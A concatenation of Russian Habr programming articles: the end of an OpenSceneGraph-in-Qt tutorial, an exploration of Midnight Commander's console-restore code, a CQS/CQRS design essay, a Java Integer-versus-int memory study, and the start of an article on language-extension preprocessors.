переключающий вьювер в однопоточный режим. Это необходимая мера при интеграции OSG в Qt, так как в некоторых дистрибутивах Linux программа будет вываливаться в сегфолт при использовании многопоточного рендеринга, применяемого OSG по умолчанию. Причины этого требуют отдельного разбора полетов, поэтому идем дальше, и обращаем внимание на этот код
```
osgQt::GraphicsWindowQt *gw = static_cast(viewer.getCamera()->getGraphicsContext());
QGridLayout \*layout = new QGridLayout;
if (layout != Q\_NULLPTR)
{
layout->addWidget(gw->getGLWidget());
this->setLayout(layout);
}
```
в котором мы создаем слой, помешая в него QGLWidget, возвращаемый из графического контекста камеры, преобразованного к указателю osgQt::GraphicsWindows. Созданный слой мы добавляем к нашему виджету QViewerWidget вызовом
```
this->setLayout(layout);
```
Для того чтобы наш виджет, а вместе с ним и сцена обновлялись при обновлении окна, необходимо переопределить обработчик события QPaintEvent
```
void QViewerWidget::paintEvent(QPaintEvent *)
{
viewer.frame();
}
```
в котором мы инициируем отрисовку кадра вызовом метода osgViewer::Viewer::frame().
Ок, код нашего виджета готов, теперь встраиваем его в фрейм, расположенный на форме. Для этого в конструкторе класса MainWindow пишем такой код
```
MainWindow::MainWindow(QWidget *parent)
: QMainWindow(parent)
, ui(new Ui::MainWindow)
, qviewer(Q_NULLPTR)
{
ui->setupUi(this);
QGridLayout *layout = new QGridLayout;
qviewer = new QViewerWidget(QRect(0, 0, ui->frame->width(), ui->frame->height()));
layout->addWidget(qviewer);
ui->frame->setLayout(layout);
this->setCentralWidget(ui->frame);
connect(&timer, &QTimer::timeout, this, &MainWindow::update);
timer.start(40);
connect(ui->actionQuit, &QAction::triggered, this, &MainWindow::quit);
connect(ui->actionClean, &QAction::triggered, this, &MainWindow::clean);
connect(ui->actionOpen, &QAction::triggered, this, &MainWindow::open);
this->setWindowTitle("QViewerWidget example");
}
```
а точнее, нас пока интересует эта его часть
```
QGridLayout *layout = new QGridLayout;
qviewer = new QViewerWidget(QRect(0, 0, ui->frame->width(), ui->frame->height()));
layout->addWidget(qviewer);
ui->frame->setLayout(layout);
this->setCentralWidget(ui->frame);
```
где мы создаем слой, создаем наши виджет, с размерами равными размеру фрейма, добавляем созданный виджет в слой, а слой прикрепляем к фрейму. И, чтобы не заморачиваться в этом примере с компоновкой, растягиваем фрейм на всю клиентскую область окна, назначая его центральным виджетом.
Для выполнение рендеринга следует организовать периодическое обновление окна по таймеру. Для этого создаем таймер с интервалом в 40 миллисекунд (25 кадров в секунду) и связываем его сигнал timeout со слотом обновления окна. Я делаю это так, используя синтаксис Qt5
```
connect(&timer, &QTimer::timeout, this, &MainWindow::update);
timer.start(40);
```
предварительно определив слот update для класса окна таким способом
```
void MainWindow::update()
{
QMainWindow::update(this->geometry());
}
```
Почему так, ведь можно напрямую связать сигнал таймера со слотом QMainWindow::update таким образом, как это показывают в большинстве примеров использования osgQt
```
connect(&timer, SIGNAL(timeout), this, SLOT(update));
```
Дело в том, что синтаксис с макросами SIGNAL() и SLOT() объявлен устаревшим, и в предверии перехода на Qt6 от него нужно отказаться. При этом, класс QMainWindow не имеет перегрузки слота update() без параметров, что вызовет ошибку на вызове связывания при компиляции. Для этого пришлось определить свой слот update() без параметров, вызвав в нем базовый QMainWindow::update() с передачей туда клиентской области окна.
Дописав до этого места и запустив программу мы получим уже некий результат
Нажимая «S» мы можем активировать монитор статистики OSG и убедится, что наш виджет работает как надо, рисуя пустую сцену.
**Какой-такой монитор статистики?**
Дабы не перегружать статью напишу об этом тут. В OSG есть встроенный монитор, отображающий статистику работы движка в реальном времени. Для его добавления во вьювер подключаем заголовочный файл
```
#include
```
и добавляем обработчик к вьюверу
```
viewer.addEventHandler(new osgViewer::StatsHandler);
```
после чего в любой момент по нажатию «S» вывести на экран много полезной информации.
4. Завершаем наш просмотрщик: добавляем меню
============================================
В дизайнере форм настраиваем меню, применяя «мышеориентированное» программирование (к которому я равнодушен, но да, порой удобно). В конце концов мы получим что-то вроде этого
[](https://habrastorage.org/webt/5h/lg/4y/5hlg4ynz134k85tyg9gko_mzjlm.png)
Теперь мы заведем соотвествующие слоты-обработчики, позволяющие загрузить модель по пути, выбранному из диалогового окна, очистить сцену и выйти из приложения
**Код обработчиков меню**
```
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void MainWindow::open()
{
osg::Group *scene = qviewer->getScene();
if (scene == nullptr)
return;
QString path = QFileDialog::getOpenFileName(Q_NULLPTR,
tr("Open model file"),
"./",
tr("OpenSceneGraph (*.osg *.osgt *.osgb *.ivi)"));
if (path.isEmpty())
return;
scene->removeChildren(0, scene->getNumChildren());
osg::ref_ptr model = osgDB::readNodeFile(path.toStdString());
scene->addChild(model.get());
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void MainWindow::clean()
{
osg::Group \*scene = qviewer->getScene();
if (scene == nullptr)
return;
scene->removeChildren(0, scene->getNumChildren());
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void MainWindow::quit()
{
QApplication::quit();
}
```
После этого мы получим очень удобны просмотрщик моделей формата \*.osg.
Демонстрация его работы приведена на видео в начале статьи. Полные исходники этого примера [доступны здесь](https://github.com/maisvendoo/OSG-lessons/tree/master/qviewerwidget)
Заключение
==========
Как мы убедились, интеграция OSG и Qt не представляет собой особой сложности ни в понимании, ни в реализации. Это отличное подспорье для создания кроссплатформенных приложений для технической визуализации, а возможно и игр.
Эта статья открывает продолжение цикла об OSG, где будут излагаться сложные приемы разработки. Думаю, она вышла удачной. Благодарю за внимание и до новых встреч! | https://habr.com/ru/post/438654/ | null | ru | null |
# Как изучать исходные тексты
Бувально в тот момент, когда я (не очень успешно) вычитывал ошибки и опечатки в предыдущем посте, [bobry](https://habrahabr.ru/users/bobry/) предложил обсудить, как сделать в консоли историю (которая, Shift-PgUp).
Очевидным методом сделать что-то связанное с терминалами — посмотреть, как сделано у других и сделать так же. В процессе изучения этого мы обратили внимание на интересную особенность: некоторые программы, показывая содержимое, восстанавливают экран до запуска приложения (mc, vim, nano, less и т.д.). Кроме того, при их запуске исчезает (в xterm/gnome-terminal) скролл-бар.
Для изучения «каким образом» было решено остановиться на MC, как самом старинном (и не зависящем от ncurses) приложении.
Далее идёт роматичная история о том, как mc делает toggle\_panel() с большим количеством цитат из исходного кода.
Заодно, читатель сможет посмотреть, как выглядит процесс «посмотри в исходниках».
Итак, исходный текст MC. Известно, что экран «сзади» можно увидеть по Ctrl-O. Комбинация кнопок появилась ещё в старинном Norton Commander, откуда её позаимствовали все последующие консольные клоны NC: Dos Navigator, Volkov Commander, Far Navigator и т.д.
Скачали сырцы (apt-get source mc), глянули во внутрь.
Довольно быстро мы нашли файл keybind.c, где легко увидели, что комбинации Ctrl-буква кодируются как «C-L» (в нашем случае «C-o»). Простой массив enum'ов (или это define'ы? Не важно), искомая строчка:
```
{ XCTRL ('o'), CK_ShowCommandLine, "C-o" },
```
Дальше (мы знать не знаем, архитектуры MC, и знать не особо хотим), мы просто используем утилиту *grep* для того, чтобы найти, где эта функция есть: `grep CK_ShowCommandLine -A3 -B3 -r *`
Искомый файл — main.c
```
main.c: case CK_ShowCommandLine:
main.c- view_other_cmd ();
main.c- break;
```
и рядом же:
```
viewer/actions_cmd.c: case CK_ShowCommandLine:
viewer/actions_cmd.c- view_other_cmd ();
viewer/actions_cmd.c- break;
```
И вьюер. и сам mc испольузют одну и ту же функцию: view\_other\_cmd. Аналогичный греп, находится файл cmd.c с искомой функцией:
```
void
view_other_cmd (void)
{
static int message_flag = TRUE;
if (!xterm_flag && !console_flag && !use_subshell && !output_starts_shell) {
if (message_flag)
message (D_ERROR, MSG_ERROR,
_(" Not an xterm or Linux console; \n"
" the panels cannot be toggled. "));
message_flag = FALSE;
} else {
toggle_panels ();
}
}
```
Глаз немного режет старинный стиль форматирования текста, но…
Итак, 1. Искомая функция toggle\_pannels(). На самом деле, мы тут же ринулись смотреть её, но сейчас будем более последовательны и внимательно прочтём случай ошибки (обратите внимание на изящную эмуляцию замыканий в Си — использование static у переменной для того, чтобы выводить сообщение об ошибке только один раз за всё время работы программы).
2. Ошибка выводится если… если у нас НЕ xterm и НЕ консоль. Часть связанная с subshell нас не интересует, а вот насчёт отдельной проверки xterm'а поставим галочку.
Ищем toggle\_pannels(). Файл execute.c. Функция большая, процитирую интересное место.
```
tty_reset_screen ();
do_exit_ca_mode ();
tty_raw_mode ();
if (console_flag)
handle_console (CONSOLE_RESTORE);
```
1. tty\_reset\_screen — допустим
2. do\_exit\_ca\_mode — о, интересно
3. tty\_raw\_mode — это просто переключение режимов ввода символов
4. Интересно, если у нас консоль, то делается handle\_console...
Что такое ca\_mode? Мелкая заминка (файл не в src, а в lib), tty/win.c. рядом же обратная ей do\_enter\_ca\_mode:
```
void
do_enter_ca_mode (void)
{
if (xterm_flag) {
fprintf (stdout, /* ESC_STR ")0" */ ESC_STR "7" ESC_STR "[?47h");
fflush (stdout);
}
}
void
do_exit_ca_mode (void)
{
if (xterm_flag) {
fprintf (stdout, ESC_STR "[?47l" ESC_STR "8" ESC_STR "[m");
fflush (stdout);
}
}
```
Итого — переключение странного режима, которого мы не знаем. Ассоциированный с xterm. Быстрогугль подсказывает, что это «Use Alternate Screen Buffer»:
> Xterm maintains two screen buffers. The normal screen buffer allows you to scroll back to view saved lines of output up to the maximum set by the saveLines resource. The alternate screen buffer is exactly as large as the display, contains no additional saved lines. When the alternate screen buffer is active, you cannot scroll back to view saved lines. Xterm provides control sequences and menu entries for switching between the two.
>
>
Ок. Понятно. У xterm'а есть специальный esc-код.
А у linux? Идём в консоль linux (настоящую, Ctrl-Alt-F1), пробуем vim — при выходе мы видим предыдущее содержимое на экране. less… видим. nano… видим. То есть linux (согласно console\_codes) этого не поддерживает. Ага, ясно. А mc? А mc работает, засранец! Как? Почему? Идём в исходный текст mc обратно, смотрим… А что делает handle\_console?
Ищем… (cons.handler.c):
```
void
handle_console (unsigned char action)
{
(void) action;
if (look_for_rxvt_extensions ())
return;
#ifdef __linux__
handle_console_linux (action);
#elif defined (__FreeBSD__)
handle_console_freebsd (action);
#endif
```
Хм… Оказывается, в linux и в FreeBSD это обрабатывается по-разному. (А как же solaris? Нету больше вашего solaris, Oracle на пульт валенок бросил.)
Смотрим handle\_console\_linux, через него console\_save. Что мы видим? MC форкает отдельный процесс с названием cons.saver, который делает ioctl, чтение и запись в странные устройства /dev/vcsa\*. Что за устройства?
О, новый, дивный мир
====================
Оказывается, в linux есть псевдоустройства, которые соответствуют памяти CGA (VGA) адаптера в текстовом режиме, где данные хранятся в виде массива
struct {
char Char;
char Attrib;
}
Да-да, тот старый давно забытый DOS, с прямым доступом в видео-память. Проверяем — действительно, hexdump файлов вполне показывает нам содержимое экрана. Заметим, для доступа к устройству нужно иметь права на это. Обычно это делается так: на файл устройства выставляют группу, на файл выставляют owner'а, входящего в эту группу и выставляют ему sgid-бит.
В Debian cons.saver имеет sgid бит для группы tty (общая группа для доступа к псевдотерминалам), а в centos — для специальной группы vcsa. В принципе, соглашусь с подходом RHEL/CentOS, это более безопасно.
Итак, специальный файл… То есть MC с помощью хитрого хака читает содержимое экрана, а когда нужно, пишет его обратно…
Но у виртуальной машины консоль не на VGA-адаптере! Это чистой воды последовательный порт. И простая проверка подверждает подозрения — на всех виртуалках vcsa девственно чистый, потому что у нас нет VGA-адаптера. То бишь, видеокарты.
Что делать? Ну, для начала проверить, что будет делать mc в ситуации с последовательным портом. Как мы знаем, нет никакой разницы между псевдотерминалом UNIX98 и последовательным портом. Идём обратно в настоящий linux (консоль), логинимся по ssh на любой сервер, запускам mc, и, вуаля — not supported.
Таким образом, мы, делая консоль на последовательном порту, в принципе не можем предоставить аналог vcsa — и хак в mc насчёт ctrl-o не может работать. В принципе.
А как же xterm?
===============
Реализовать ESC-код для xterm'а было бы просто. Но… Мы не имеем доступа к содержимому виртуальных машин, мы не можем менять среду окружения пользователям — а значит, по-умолчанию, linux ожидает, что на последовательном порту у него тип терминала linux (TERM=linux) и реализовывать функции xterm/xrvt нет смысла — их всё равно не будут использовать.
На всякий случай проверяем, каким образом mc узнаёт про существование xterm-расширений…
```
const char *termvalue;
termvalue = getenv ("TERM");
```
Увы — переменная среды окружения (а я надеялся на query string). Ну точно нельзя. Увы.
Кстати, ровно тот же хак (но с поправкой на особенности архитектуры) используется и в FreeBSD. Увы.
Мораль?
=======
У нас не будет полноценно работать Ctrl-O в нашей замечательной консоли в линуксе. Увы, никогда. А в остальном было интересно.
… Кстати, если у вас есть живой сервер, и он жив, вы можете удалённо посмотреть, что у него там на консолях происходит — cat /dev/vcsa\*. А особые фанаты могут сделать watch и наблюдать, как на консолях работают другие. | https://habr.com/ru/post/122027/ | null | ru | null |
# CQS (CQRS) со своим блэкджеком
Command-query separation (CQS) — это разделение методов на read и write.
Command Query Responsibility Segregation (CQRS) — это разделение модели на read и write. Предполагается в одну пишем, с нескольких можем читать. М — масштабирование.
Этот подход часто используют как способ организации кода, даже если хранилище одно. Но как всегда, в реальных более-менее сложных проектах эта штука дает сбой.
Размышления навеяны этой статьей [Паттерн CQRS: теория и практика в рамках ASP.Net Core 5](https://habr.com/ru/post/543828) и актуальны для анемичной модели. Для DDD все по-другому.
Историческая справка
--------------------
Начать пожалуй стоит с исторической справки. Сначала было как-то так:
```
public interface IEntityService
{
EntityModel[] GetAll();
EntityModel Get(int id);
int Add(EntityModel model);
void Update(EntityModel model);
void Delete(int id);
}
public interface IEntityRepository
{
Entity[] GetAll();
Entity Get(int id);
int Add(Entity entity);
void Update(Entity entity);
void Delete(int id);
}
```
С появлением CQS стало так:
```
public class GetEntitiesQuery
{
public EntityModel[] Execute() { ... }
}
public class GetEntityQuery
{
public EntityModel Execute(int id) { ... }
}
public class AddEntityCommand
{
public int Execute(EntityModel model) { ... }
}
public class UpdateEntityCommand
{
public void Execute(EntityModel model) { ... }
}
public class DeleteEntityCommand
{
public void Execute(int id) { ... }
}
```
Эволюция
--------
Как видим, два потенциальных god-объекта разделяются на много маленьких и каждый делает одну простую вещь — либо читает данные, либо обновляет. Это у нас CQS. Если еще и разделить на два хранилища (одно для чтения и одно для записи) — это будет уже CQRS. Собственно что из себя представляет например GetEntityQuery и UpdateEntityCommand (здесь и далее условный псевдокод):
```
public class GetEntityQuery
{
public EntityModel Execute(int id)
{
var sql = "SELECT * FROM Table WHERE Id = :id";
using (var connection = new SqlConnection(...connStr...))
{
var command = connection.CreateCommand(sql, id);
return command.Read();
}
}
}
public class UpdateEntityCommand
{
public void Execute(EntityModel model)
{
var sql = "UPDATE Table SET ... WHERE Id = :id";
using (var connection = new SqlConnection(...connStr...))
{
var command = connection.CreateCommand(sql, model);
return command.Execute();
}
}
}
```
Теперь к нам приходит ORM. И вот тут начинаются проблемы. Чаще всего сущность сначала достается из контекста и только затем обновляется. Выглядит это так:
```
public class UpdateEntityCommand
{
public void Execute(EntityModel model)
{
var entity = db.Entities.First(e => e.Id == model.Id); // <-- опа, а что это? query?
entity.Field1 = model.Field1;
db.SaveChanges();
}
}
```
Да, если ORM позволяет обновлять сущности сразу, то все будет хорошо:
```
public class UpdateEntityCommand
{
public void Execute(EntityModel model)
{
var entity = new Entity { Id = model.Id, Field1 = model.Field1 };
db.Attach(entity);
db.SaveChanges();
}
}
```
Так а что делать, когда надо достать сущность из базы? Куда девать query из command? На ум приходит сделать так:
```
public class GetEntityQuery
{
public Entity Execute(int id)
{
return db.Entities.First(e => e.Id == model.Id);
}
}
public class UpdateEntityCommand
{
public void Execute(Entity entity, EntityModel model)
{
entity.Field1 = model.Field1;
db.SaveChanges();
}
}
```
Хотя я встречал еще такой вариант:
```
public class UpdateEntityCommand
{
public void Execute(EntityModel model)
{
var entity = _entityService.Get(model.Id); // )))
entity.Field1 = model.Field1;
db.SaveChanges();
}
}
public class EntityService
{
public Entity Get(int id)
{
return db.Entities.First(e => e.Id == model.Id);
}
}
```
Просто перекладываем проблему из одного места в другое. Эта строчка не перестает от этого быть query.
Ладно, допустим остановились на варианте с GetEntityQuery и UpdateEntityCommand. Там хотя бы query не пытается быть чем-то другим. Но куда это все сложить и откуда вызывать? Пока что есть одно место — это контроллер, выглядеть это будет примерно так:
```
public class EntityController
{
[HttpPost]
public EntityModel Update(EntityModel model)
{
var entity = new GetEntityQuery().Execute(model.Id);
new UpdateEntityCommand().Execute(entity, model);
return model;
}
}
```
Да и через некоторое время нам понадобилось, например, отправлять уведомления:
```
public class EntityController
{
[HttpPost]
public EntityModel Update(EntityModel model)
{
var entity = new GetEntityQuery().Execute(model.Id);
new UpdateEntityCommand().Execute(entity, model);
_notifyService.Notify(NotifyType.UpdateEntity, entity); // <-- А это query или command?
return model;
}
}
```
В итоге контроллер у нас начинает толстеть.
Лирическое отступление IDEF0 и BPMN
-----------------------------------
Мало того, реальные бизнес-процессы сложные. Если взглянуть на диаграммы IDEF0 или BPMN можно увидеть несколько блоков, за каждым из которых может скрываться код наподобие нашего кода из контроллера или вложенная серия блоков.
*(рисунок найден на просторах интернета)*
И приведу пример одной реальной задачи: по гео-координатам получить погоду в заданной точке. Есть внешний условно-бесплатный сервис. Поэтому требуется оптимизация в виде кэша. Кэш не простой. Хранится в базе данных. Алгоритм выборки: сначала идем в кэш, если там есть точка в радиусе 10 км от заданной и в пределах 1 часа по времени, то возвращаем погоду из кэша. Иначе идем во внешний сервис. Здесь и query, и command, и обращение к внешнему сервису — все-в-одном.
Решение
-------
Решение давно витало в облаках, но никак не оформлялось в конкретном виде. Пока я однажды не встретил нечто очень похожее на одном проекте. Я взял его за основу и добавил свой блэкджек.
Как видим искомый CQS изначально создан для абстрагирования на уровне доступа к данным. Там с ним проблем нет. Код, который расположился у нас в контроллере — это бизнес-код, еще один уровень абстракции. И именно для этого уровня выделим еще одно понятие — бизнес-история. Или Story.
Одна бизнес-история — это один из блоков на диаграмме IDEF0. Она может иметь вложенные бизнес-истории, как блок IDEF0 может иметь вложенные блоки. И она может обращаться к искомым понятиям CQS — это к Query и Command.
Таким образом, код из контроллера мы переносим в Story:
```
public class EntityController
{
[HttpPost]
public EntityModel Update(EntityModel model)
{
return new UpdateEntityStory().Execute(model);
}
}
public class UpdateEntityStory
{
public EntityModel Execute(EntityModel model)
{
var entity = new GetEntityQuery().Execute(model.Id);
new UpdateEntityCommand().Execute(entity, model);
_notifyService.Notify(NotifyType.UpdateEntity, entity);
return model;
}
}
```
И контроллер остается тонким.
Данная UpdateEntityStory инкапсулирует в себе законченный конкретный бизнес-процесс. Ее можно целиком использовать в разных местах (например в вызовах API). Она легко подвергается тестированию и никоим образом не ограничивает использование моков/фейк-объектов.
Диаграмму IDEF0/BPMN можно разбросать по таким Story, что даст более легкий вход в проект. Все изменения можно будет уложить в следующий процесс: сначала меняем документацию (диаграмму IDEF0) — затем дописываем тесты — а уже в конце дописываем бизнес-код. Можно наоборот, по этим Story автоматически построить документацию в виде IDEF0/BPMN диаграмм.
Но чтобы получить более стройный подход, необходимо соблюдать некоторые правила:
1. Story — входная точка бизнес-логики. Именно на нее ссылается контроллер.
2. Но внутрь Story не должны попадать такие вещи как HttpContext и тому подобное. Потому что тогда Story нельзя будет легко вызывать в другом контексте (например в hangfire background job или обработчике сообщения из очереди — там не будет никаких HttpContext).
3. Входящие параметры Story опциональны. Story может возвращать что-либо или не возвращать ничего (хотя для сохранения тестируемости хорошо бы она что-нибудь возвращала).
4. Story может работать как с бизнес-сущностями, так и с моделями и DTO. Может внутри вызывать соответствующие мапперы и валидаторы.
5. Story может вызывать другие Story.
6. Story может вызывать внешние сервисы. Хотя внешний вызов можно тоже оформить как Story. Об этом ниже с нашим сервисом погоды.
7. Story не может напрямую обращаться к контексту базы данных. Это область ответственности Query и Command. Если нарушить это правило, все запросы и команды вытекут наружу и размажутся по всему проекту.
8. На Story можно навешивать декораторы. Об этом тоже ниже.
9. Story может вызывать Query и Command.
10. Разные Story могут переиспользовать одни и те же Query и Command.
11. Query и Command не могут вызывать другие Story, Query и Command.
12. Только Query и Command могут обращаться к контексту базы данных.
13. В простых случаях можно обойтись без Story и из контроллеров вызывать сразу Query или Command.
Теперь тот самый пример с сервисом погоды:
```
public class GetWeatherStory
{
public WeatherModel Execute(double lat, double lon)
{
var weather = new GetWeatherQuery().Execute(lat, lon, DateTime.NowUtc);
if (weather == null)
{
weather = _weatherService.GetWeather(lat, lon);
new AddWeatherCommand().Execute(weather);
}
return weather;
}
}
public class GetWeatherQuery
{
public WeatherModel Execute(double lat, double lon, DateTime currentDateTime)
{
// Нативный SQL запрос поиска записи в таблице по условиям:
// * в радиусе 10 км от точки lat/lon
// * в пределах 1 часа от currentDateTime
// С использованием расширений PostGis или аналогичных
return result;
}
}
public class AddWeatherCommand
{
public void Execute(WeatherModel model)
{
var entity = new Weather { ...поля из model... };
db.Weathers.Add(entity);
db.SaveChanges();
}
}
public class WeatherService
{
public WeatherModel GetWeather(double lat, double lon)
{
var client = new Client();
var result = client.GetWeather(lat, lon);
return result.ToWeatherModel(); // маппер из dto в нашу модель
}
}
```
Декораторы
----------
И в заключении о декораторах. Чтобы Story стали более гибкими необходимо cложить их в DI контейнер / factory / mediator. И добавить возможность декорировать их вызов.
Сценарии:
1. Запускать Story внутри транзакции scoped контекста базы данных:
```
public class EntityController
{
[HttpPost]
public EntityModel Update(EntityModel model)
{
return _factory.Resolve().WithTransaction().Execute(model);
}
}
// или
[Transaction]
public class UpdateEntityStory
{
...
}
```
2. Кэшировать вызов
```
public class EntityController
{
[HttpPost]
public ResultModel GetAccessRights()
{
return _factory
.Resolve()
.WithCache("key", 60)
.Execute();
}
}
// или
[Cache("key", 60)]
public class GetAccessRightsStory
{
...
}
```
3. Политика повторов
```
public class GetWeatherStory
{
public WeatherModel Execute(double lat, double lon)
{
var weather = new GetWeatherQuery().Execute(lat, lon, DateTime.NowUtc);
if (weather == null)
{
weather = _factory
.Resolve()
.WithRetryAttempt(5)
.Execute(lat, lon);
\_factory.Resolve().Execute(weather);
}
return weather;
}
}
// или
[RetryAttempt(5)]
public class GetWeatherFromExternalServiceStory
{
...
}
```
4. Распределенная блокировка
```
public class GetWeatherStory
{
public WeatherModel Execute(double lat, double lon)
{
var weather = new GetWeatherQuery().Execute(lat, lon, DateTime.NowUtc);
if (weather == null)
{
weather = _factory
.Resolve()
.WithRetryAttempt(5).
.Execute(lat, lon);
\_factory.Resolve()
.WithDistributedLock(LockType.RedLock, "key", 60)
.Execute(weather);
}
return weather;
}
}
// или
[DistributedLock(LockType.RedLock, "key", 60)]
public class AddWeatherStory
{
...
}
```
И тому подобное. | https://habr.com/ru/post/544034/ | null | ru | null |
# Integer и int
В этом топике я хочу описать некоторые базовые различия между примитивными типами и соответствующими им объектными на примере int и Integer. Различия эти достаточно простые и, если немного задуматься, то вполне логичные, но, как показал опыт, программист не всегда над этим задумывается.
Основное различие, разумеется, в том, что Integer — это полнофункциональный объект, который занимает место в куче, а в коде вы пользуетесь ссылками на него, которые неявно преобразуются в значения:
> `int a = 1000; *// a - число*Integer b = 1000; *// b - ссылка на объект*`
При присваивании значения переменной типа Integer обычно выделяется память в куче под новый объект, как будто вы написали `new Integer(1000)` (так называемый [autoboxing](http://download.oracle.com/javase/1.5.0/docs/guide/language/autoboxing.html)). Однако иногда переиспользуются старые объекты. Это иллюстрирует следующий код (JDK 1.6):
> `Integer a1 = 50;
>
> Integer a2 = 50;
>
> Integer b1 = 500;
>
> Integer b2 = 500;
>
> System.out.println(a1==a2);
>
> System.out.println(b1==b2);`
Результатом выполнения будет:
> `true
>
> false`
Здесь фактически вызывается статичный метод java.lang.Integer.valueOf(int), который, как вы можете увидеть в [исходниках](http://www.java2s.com/Open-Source/Java-Document/6.0-JDK-Core/lang/java/lang/Integer.java.htm), кэширует значения от -128 до 127 (в более свежей реализации верхнюю границу кэша можно менять).
Однако в большинстве случаев создаётся новый объект, и это может быть существенно. Помните так же, что объект Integer никогда не меняет своего значения. Рассмотрим такой на первый взгляд невинный код:
> `**public** **class** Increment
>
> {
>
> **public** static void main(String[] args)
>
> {
>
> Integer a=0;
>
> **while**(**true**) a++;
>
> }
>
> }`
Попрофилируем использование памяти, к примеру, триальной версией [JProfiler](http://www.ej-technologies.com/products/jprofiler/overview.html)'а:
Очевидно, при каждом инкременте создаётся новый объект Integer, а старые затем подчищаются сборщиком мусора, когда их накапливается порядка ста тысяч. Неплохая нагрузка на систему для обычной операции инкремента.
В целом понятно, что Integer надо использовать только тогда, когда без него не обойтись. Один из таких примеров — это параметризованные типы (generics), к примеру, стандартные коллекции. Но и тут надо быть аккуратным, чтобы использовать память разумно. Я приведу несколько утрированный пример на основе проблемы, с которой я столкнулся в реальном проекте. В некотором научном анализе требовалось ассоциировать с определёнными объектами длинные множества натуральных чисел. Можно сэмулировать это следующим кодом:
> `**import** java.util.*;
>
>
>
> **public** **class** MapInteger
>
> {
>
> static Map> subSets = **new** HashMap>();
>
>
>
> **public** static void put(Integer key, int value)
>
> {
>
> **if**(!subSets.containsKey(key)) subSets.put(key, **new** HashSet());
>
> subSets.get(key).add(value);
>
> }
>
>
>
> **public** static Collection getRandomKeys()
>
> {
>
> List vals = **new** ArrayList();
>
> **for**(int i=0; i<(int)(Math.random()\*500); i++)
>
> {
>
> vals.add((int)(Math.random()\*1000));
>
> }
>
> **return** vals;
>
> }
>
>
>
> **public** static void main(String[] args)
>
> {
>
> **new** Scanner(System.in).nextLine();
>
> **for**(Integer i=0; i<100000; i++)
>
> {
>
> **for**(Integer key: getRandomKeys())
>
> put(key, i);
>
> }
>
> **new** Scanner(System.in).nextLine();
>
> }
>
> }`
Для каждого числа из первых ста тысяч мы определяем набор ключей с помощью getRandomKeys (в реальной задаче ключи, конечно, были неслучайны) и добавляем текущее число в соответствующие множества subSets. Тип ключей Integer выбран для упрощения иллюстрации; в целом он неважен. Вот количества объектов до выполнения операции:
А вот после:
Принудительный запуск сборщика мусора помог несильно:
40 мегабайт памяти съедают целые числа — это печально. Причина кроется в прототипе метода put:
`public static void put(Integer key, **int** value)`
Из-за того, что здесь использован тип int, значения переменной i при передаче в метод автоматически преобразуются в int (unboxing), а затем заново в Integer (boxing), но уже создаётся новый объект. Заменим в прототипе `int value` на `Integer value` и запустим профайлер заново. В начале картина такая же:
Зато в конце значительные отличия:
И после сборки мусора:
Так, заменив один int на Integer, можно сэкономить около 40% используемой памяти. Заметим, что в `for(Integer i=0; i<100000; i++)` тоже неслучайно используется Integer: напишем здесь int, и первое исправление не поможет. Видим, что правило писать int везде, где можно не писать Integer, работает не всегда: в каждом отдельном случае надо думать. Иногда также может пригодиться собственная реализация кэша целых чисел. | https://habr.com/ru/post/104231/ | null | ru | null |
# Расширение языка программирования (C++/Planning C). Волшебные сканеры и компилирующие макросы
Здравствуйте, уважаемые читатели.
Обычно, когда речь заходит о создании какого-либо расширения для существующего языка программирования, в воображении неминуемо начинают рождаться разнообразные сложные решения, включающие поиск описания формальной грамматики исходного языка, ее модификации, а затем и применения какого-либо инструмента, позволяющего по данной грамматике либо построить новый компилятор, либо модифицировать существующий компилятор. Причем такие инструменты существуют (bison/flex, yacc/lex, вероятно и многие другие) и успешно используются, несмотря на их явную сложность и громоздкость.
Понятно, что если предполагается внесение в язык относительно небольших модификаций, хотелось бы:
* иметь более простую и быструю в разработке препроцессорную схему дополнения языка буквально на уровне написания 50-100 строк кода, обрабатывающего только вносимые расширения (их можно искать с помощью регулярных выражений, не работая в явной форме с базовой формальной грамматикой языка) и генерирующего для них код на исходном языке, который потом и будет обрабатываться стандартным компилятором;
* интегрировать описание упомянутой в предыдущем пункте препроцессорной схемы непосредственно в саму программу. То есть, если мы хотим для нашей текущей программы расширение базового языка, мы встраиваем описание распознавания этого расширения и генерации соответствующего фрагмента на базовом языке непосредственно в программу (можно оформить расширение с помощью каких-либо новых конструкций, но можно и воспользоваться комментариями, записанными в специальном формате). Задача сводится только к тому, чтобы написать специальный препроцессор, который будет такие описания распознавать.
В этой статье кратко описывается одно такое препроцессорное решение, реализованное для C++ (точнее, оно входит в набор средств языка Planning C, который сам по себе является расширением C++).
Общая схема
-----------
Оформим написание расширения языка с помощью: а) конструкций-сканеров, которые с помощью регулярных выражений находят новые элементы и либо заменяют их на вызовы специальных «компилирующих» макросов , либо вносят новые записи в базу данных (или в базу фактов) препроцессора; б) «компилирующих» макросов, которые принимают набор параметров и генерируют фрагмент нового кода, при этом, чтобы согласовать поведение таких макросов друг с другом, они могут работать с общей базой данных/фактов, читая и внося в нее изменения.
Сканеры и макросы непосредственно вписываются в программу, для которой необходимо расширения языка, эта программа обрабатывается препроцессором, который применяет к данной программе описанные сканеры и макросы, вставляя в нее новые фрагменты, после чего описания макросов и сканеров удаляются и полученная конечная программа на стандартном исходном языке компилируется самым обычным компилятором.
Реализация схемы для C++ и Planning C
-------------------------------------
Думаю, нет необходимости подробно излагать данную схему, поэтому ограничусь описанием общих принципов и небольшим примером.
Реализация сканеров
-------------------
Сканер состоит из одного-двух-трех основных регулярных выражений: а) необязательного предыдущего контекста, б) основной части, в) необязательного последующего контекста. Сканер находит блоки, состоящие из последовательных фрагментов, распознанных этими выражениями, и заменяет средние фрагменты (соответствующие основной части) либо вызовом компилирующего макроса с параметрами, либо пустой строкой (но при этом в базу данных/фактов вносится какая-либо специальная запись, которую потом смогут прочитать различные компилирующие макросы).
Замечу только, что я использовал не стандартные регулярные выражения, а модифицированные, дополненные возможностью небольшой логической обработки разбираемых выражений с помощью специальных предикатов. Это оказалось очень полезным для упрощения распознающих частей, например, для сбалансированных по различным видам скобок выражений языка.
Реализация компилирующих макросов
---------------------------------
